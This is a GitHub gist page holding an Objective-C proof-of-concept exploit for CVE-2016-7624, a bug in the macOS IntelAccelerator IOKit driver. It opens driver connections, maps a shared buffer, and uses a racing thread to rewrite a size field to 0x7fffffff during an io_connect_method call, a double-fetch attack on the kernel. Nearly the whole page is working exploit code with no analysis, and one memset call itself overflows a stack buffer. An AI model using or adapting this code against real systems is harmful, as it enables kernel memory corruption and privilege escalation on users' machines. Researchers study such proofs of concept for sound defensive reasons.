Skip to content

Instantly share code, notes, and snippets.

@flankerhqd
Created January 7, 2017 07:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save flankerhqd/b891da0908b8038fdd5e3d63acec419c to your computer and use it in GitHub Desktop.
Save flankerhqd/b891da0908b8038fdd5e3d63acec419c to your computer and use it in GitHub Desktop.
POC for CVE-2016-7624
//
// main.m
// cmdqueue1
//
// Created by keen on 2016-04-11.
// Copyright © 2016 keen. All rights reserved.
//
#include <dlfcn.h>
#import <Foundation/Foundation.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void* (*io_connect_method)(mach_port_t, uint32_t,
uint64_t*, uint32_t,
void*, mach_msg_type_number_t,
mach_vm_address_t, mach_vm_size_t,
void*, mach_msg_type_number_t*,
uint64_t*, uint32_t*,
mach_vm_address_t, mach_vm_size_t*);
void (*io_connect_async_method)(mach_port_t, mach_port_t,
uint64_t*, uint32_t,
uint32_t,
uint64_t *, uint32_t,
void*, mach_msg_type_number_t,
mach_vm_address_t, mach_vm_size_t,
void*, mach_msg_type_number_t*,
uint64_t*, uint32_t*,
mach_vm_address_t, mach_vm_size_t*);
char* input;
size_t size = 4088;
size_t ool_size = 4088;
#define reinterpret_cast_mach_vm_address_t(p) ((mach_vm_address_t) (uintptr_t) p)
char* dommap()
{
size_t i = ool_size;
void *rr_addr = mmap(0x80000000, size, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
printf("mmap addr %p\n", rr_addr);
memset(rr_addr, 'a', i);
return rr_addr;
}
volatile unsigned int secs = 10;
void modifystrcut()
{
//usleep(secs++);
*((unsigned int*)(input+4)) = 0x7fffffff;
//*((unsigned int*)(input+4)) = 0xffff;
printf("secs %x\n", secs);
}
void getFunc()
{
FILE *fp;
char line[4096];
fp = popen("nm /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit | grep _io_connect_method | grep -v var_output","r");
if(fp == NULL)
{
printf("failed to get symbol addr\n");
exit(-1);
}
fgets(line, sizeof(line)-1, fp);
{
char *addrstr = strtok(line, " ");
unsigned addr = strtoul(addrstr, NULL, 16);
void* handle = dlopen("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_LAZY);
io_connect_method = *(unsigned long *)((unsigned long)handle + 0x50) + addr;
}
fclose(fp);
printf("%p\n", io_connect_method);
}
void* callback(void *refcon, IOReturn result, void **args,uint32_t numArgs)
{
printf("callback called with arg %d\n", numArgs);
for(size_t i=0;i<5;i++)
{
printf("%llx ", *((uint64_t*)args + i) );
}
puts("");
return NULL;
}
IONotificationPortRef ref;
mach_port_t port;
void gaorunloop()
{
CFRunLoopSourceRef runLoopSource;
runLoopSource = IONotificationPortGetRunLoopSource(ref);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopDefaultMode);
CFRunLoopRun();
}
int main(int argc, const char * argv[]) {
io_iterator_t iterator;
getFunc();
io_connect_t conn;
io_service_t svc;
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IntelAccelerator"), &iterator);
svc = IOIteratorNext(iterator);
printf("%x %x\n", IOServiceOpen(svc, mach_task_self(), 9, &conn), conn);
io_connect_t sharedconn;
IOServiceOpen(svc, mach_task_self(), 6, &sharedconn);
IOConnectAddClient(conn, sharedconn);
//then set async ref
ref = IONotificationPortCreate(kIOMasterPortDefault);
port = IONotificationPortGetMachPort(ref);
pthread_t rt;
pthread_create(&rt, NULL, gaorunloop, NULL);
io_async_ref64_t asyncRef;
asyncRef[kIOAsyncCalloutFuncIndex] = callback;
asyncRef[kIOAsyncCalloutRefconIndex] = NULL;
const uint32_t outputcnt = 0;
const size_t outputcnt64 = 0;
IOConnectCallAsyncScalarMethod(conn, 0, port, asyncRef, 3, NULL, 0, NULL, &outputcnt);
size_t i=0;
input = dommap();
//while(true)
{
char* structinput = input;
*((unsigned int*)(structinput+4)) = 0xaa;//the size is then used in for loop, possible to change it in descriptor?
size_t outcnt = 0;
//first connect to a sharedbuf
//pthread_create(&t, NULL, modifystrcut, NULL);
// printf("%x\n", IOConnectCallMethod(conn, 1, NULL, 0, structinput, size, NULL, &outcnt, NULL, &outcnt));
// pthread_join(&t, NULL);
}
const size_t bufsize = 4088;
char buf[bufsize];
memset(buf, 'a', sizeof(buf)*bufsize);
size_t outcnt =0;
*((unsigned int*)(buf+4)) = 0xaa;
//while(1)
//for(size_t i=0;i<20;i++)
{
pthread_t t;
pthread_create(&t, NULL, modifystrcut, NULL);
//printf("%x\n", IOConnectCallMethod(conn, 1, NULL, 0, buf, size, NULL, &outcnt, NULL, &outcnt));
io_connect_method(
conn,
1,
NULL,//input
0,//inputCnt
buf,//inb_input
bufsize,//inb_input_size
reinterpret_cast_mach_vm_address_t(input),//ool_input
ool_size,//ool_input_size
buf,//inb_output
(mach_msg_type_number_t*)&outputcnt, //inb_output_size*
(uint64_t*)buf,//output
&outputcnt, //outputCnt
reinterpret_cast_mach_vm_address_t(buf), //ool_output
(mach_msg_type_number_t*)&outputcnt64//ool_output_size*
);
}
//sleep(10);
//
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment